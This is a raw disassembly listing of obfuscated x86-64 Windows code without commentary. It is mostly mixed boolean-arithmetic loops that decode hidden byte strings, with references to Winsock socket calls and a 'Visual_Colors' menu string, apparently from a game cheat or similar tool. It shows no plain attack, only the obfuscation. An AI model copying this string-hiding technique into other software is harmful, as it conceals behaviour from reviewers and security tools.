movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x51
jmp 0x14008b2b2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008bb5e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008bb39
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008bb19
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008bafd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008bade
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008b837
nop
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008b818
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008b7f0
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14008b7cf
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008b7ac
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14008b791
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008b776
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008b757
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008b73c
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008b70b
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008b2c0
lea rbx, [r8 + 6]
lea r8, [rbx + 3]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008bd17
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008bcfb
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008b4b9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14008b49e
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008b483
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008b6b8
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008b66f
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14008b62e
lea rcx, [r8 + 0x200]
cmp rbx, rcx
jb 0x14008b608
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008b2c0
mov rbx, rcx
lea r8, [rcx + 0x41]
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x14008b5d7
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14008b5bc
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14008b59d
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x14008b57e
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x14008b563
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x14008b540
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14008b51f
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x14008b4f7
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14008b4d4
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14008b2c0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x3e8]
jmp 0x14008b2c0
lea ecx, [r10 - 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x31
jmp 0x14008b2b2
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
jmp 0x14008b240
lea ecx, [r10 - 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x65
jmp 0x14008b1c7
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008bb7c
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008b1b4
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
dec r10
inc r10
jmp 0x14008b1b4
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008bbec
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14008bc2a
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008bc2d
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008bc60
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
jmp 0x14008bc8b
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x610]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b1b4
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x37
mov byte [rbp + r10 + 0x610], dil
inc r10
jmp 0x14008b1b4
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
cmp r8, 2
jb 0x14008b61e
movzx r11d, r10b
lea edx, [r11 + 0x62]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x5c]
jmp 0x14008bb7c
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
cmp rbx, 8
jae 0x14008ba9a
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x14008ba07
lea edx, [r10 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008b644
lea ecx, [r10 + 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x69
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x14008bac2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14008b955
lea edx, [r10 - 0x61]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x59
add dil, dl
jmp 0x14008b685
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x610]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b1b4
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14008bc8b
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008bc60
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x14008bc2d
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
jmp 0x14008bc2a
movzx r11d, r10b
lea edx, [r11 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008bbec
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
dec r10
inc r10
jmp 0x14008b1b4
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008b1b4
movzx r11d, r10b
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x14008bb7c
lea rcx, [r8 + 4]
cmp rbx, rcx
jae 0x14008b85f
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
jmp 0x14008b6ce
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b89d
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x610]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b1b4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008b8c9
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008bc60
cmp rbx, rcx
jne 0x14008b8f3
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
dec r10
inc r10
jmp 0x14008b1b4
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008b928
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008b1b4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008b6ce
movzx r11d, r10b
lea edx, [r11 + 0x7e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x72
jmp 0x14008bb79
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b982
movzx r11d, r10b
lea edx, [r11 - 0x4b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xd
jmp 0x14008bb79
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008b9b1
lea ecx, [r10 - 0x1f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x27
dec r10
inc r10
jmp 0x14008b1b4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008b9de
movzx r11d, r10b
lea edx, [r11 - 9]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x3f
jmp 0x14008bbe9
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008b685
lea ecx, [r10 + 0xd]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5b
jmp 0x14008bc2a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008ba42
lea ecx, [r10 - 0x64]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x44
movzx eax, byte [rbp + r10 + 0x610]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b1b4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008ba6e
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x14008bc60
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008b644
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008bc2a
movzx r11d, r10b
lea edx, [r11 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x610]
sub dil, al
sub dil, 0x48
add dil, r9b
jmp 0x14008bbe9
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008bc60
lea edx, [r10 - 0x7f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x79
add dil, dl
jmp 0x14008bc60
lea ecx, [r10 + 0x6b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x13
jmp 0x14008bc2d
movzx r11d, r10b
lea edx, [r11 + 0x3f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x47
jmp 0x14008bbe9
lea ecx, [r10 + 0x13]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x7b
inc r8
dec r10
inc r10
jmp 0x14008b1b4
movzx r11d, r10b
lea edx, [r11 - 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x15
add dil, dl
add r11b, 0x6d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 5
add r9b, r11b
mov byte [rbp + r10 + 0x610], r9b
inc r8
dec r10
inc r10
jmp 0x14008b1b4
lea ecx, [r10 - 0x45]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1d
inc r8
dec r10
inc r10
jmp 0x14008b1b4
movzx r11d, r10b
lea edx, [r11 - 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x17
add dil, dl
sub r11b, 0x7d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x6b
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x610], r9b
jmp 0x14008bc2a
lea ecx, [r10 + 0x79]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008b1b4
lea rcx, [r10 + r15]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x1b
add dil, cl
lea edx, [r10 - 0x67]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x2f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x610], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x5c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x7c
add r9b, cl
mov byte [rbp + r10 + 0x610], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x610]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b1b4
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x19
movzx eax, byte [rbp + r10 + 0x610]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b1b4
sub r10b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec dil
jmp 0x14008b1b1
sub r10b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x67
jmp 0x14008b1a1
lea rcx, [rbp + 0x14fdd74]
jmp 0x14008bd53
lea rcx, [rbp + 0xbdb97f]
jmp 0x14008bd53
lea rcx, [rbp + 0x610]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r13
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401dc6d4]
call fcn.14003eeb0
call fcn.14000c740
mov dword [rbp + 0x54], 0x43bf0000
mov dword [rbp + 0x58], 0x438d0000
lea rcx, [rbp + 0x54]
call fcn.14001a180
mov dword [rbp + 0x5c], 0x438d0000
mov dword [rbp + 0x60], 0x432e0000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x5c]
lea rcx, str.Visual_Colors
call fcn.1400097c0
mov byte [rbp + 0x180], 0xf6
mov byte [rbp + 0x181], 0xee
mov byte [rbp + 0x182], 0xe4
mov byte [rbp + 0x183], reloc.WS2_32.dll_send
mov byte [rbp + 0x184], 0xf7
mov byte [rbp + 0x185], 0xca
mov byte [rbp + 0x186], 0xca
mov byte [rbp + 0x187], 0xc8
mov byte [rbp + 0x188], 0x3a
mov byte [rbp + 0x189], 0xc9
xor eax, eax
mov dword [rbp + 0x18a], eax
mov word [rbp + 0x18e], ax
mov byte [rbp + 0x190], al
movabs r14, 0x5b3d336f894dc4f8
movabs r12, 0x7eac680cc12062c8
movabs r13, 0xc832012dae84d8d8
movabs r15, 0x11b79a4e9be94ee8
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x11
jae 0x14008c9c0
movzx r9d, byte [rbp + r10 + 0x180]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008c9b4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008bea3
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x38
jmp 0x14008bee0
je 0x14008c93e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c8dd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008c892
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008c86d
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008c822
nop dword [rax]
cmp r8, r10
ja 0x14008c9a8
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x14008bf11
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x14008bf40
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c810
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c7ef
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c7bc
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008c48c
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c47a
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008c453
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008c432
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008c40f
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008c3f1
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008c3e3
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008c3c8
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008c3a9
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008c37c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008bf50
lea rbx, [r8 + 0x200]
lea r8, [rbx + 4]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008c98b
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008c96b
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008c142
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008c127
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008c108
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008c33a
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008c2f1
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008c2b3
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008c289
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008bf50
lea rbx, [r8 + 0x80]
lea r8, [rbx + 3]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008c258
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008c23d
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14008c21e
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008c203
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008c1e8
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008c1c5
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008c1a4
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008c17c
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008c15d
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008bf50
lea rbx, [r8 + 6]
lea r8, [rbx + 0x3e8]
jmp 0x14008bf50
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008bf40
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14008bee0
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x14008be66
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
movzx r11d, r10b
jmp 0x14008c840
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008be53
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x14008be53
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008c774
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
add rbx, r8
jmp 0x14008c7d6
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14008c7d6
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c8ac
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14008c8fb
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008be53
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x180], dil
inc r10
jmp 0x14008be53
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
cmp r8, 3
jb 0x14008c2a3
movzx r11d, r10b
lea ecx, [r11 - 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x60]
jmp 0x14008c840
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x40
jae 0x14008c74e
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14008c6bc
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x14008c2c9
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14008c7a0
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14008c57b
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
jmp 0x14008c300
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008be53
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c8fb
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14008c8ac
lea edx, [r10 + 0x40]
mov ecx, 0x20
jmp 0x14008c7c5
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
add rbx, r8
jmp 0x14008c7d6
movzx r11d, r10b
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c774
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
dec r10
inc r10
jmp 0x14008be53
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x14008be53
movzx r11d, r10b
lea edx, [r11 - 0x70]
mov ecx, 8
jmp 0x14008c82f
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14008c4b8
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c350
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c4f6
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008be53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c522
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c8ac
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c54d
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008c7d6
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008c350
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
dec r10
inc r10
jmp 0x14008be53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c5a7
movzx r11d, r10b
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x14008c840
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c5d7
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c774
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008c602
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
add rbx, r8
jmp 0x14008c7d6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008c62a
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14008c7d6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c656
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c8ac
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008c67e
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x14008c8fb
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008c30b
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008be53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c6fa
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008be53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c722
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14008c7d6
lea rax, [r8 + 5]
cmp rbx, rax
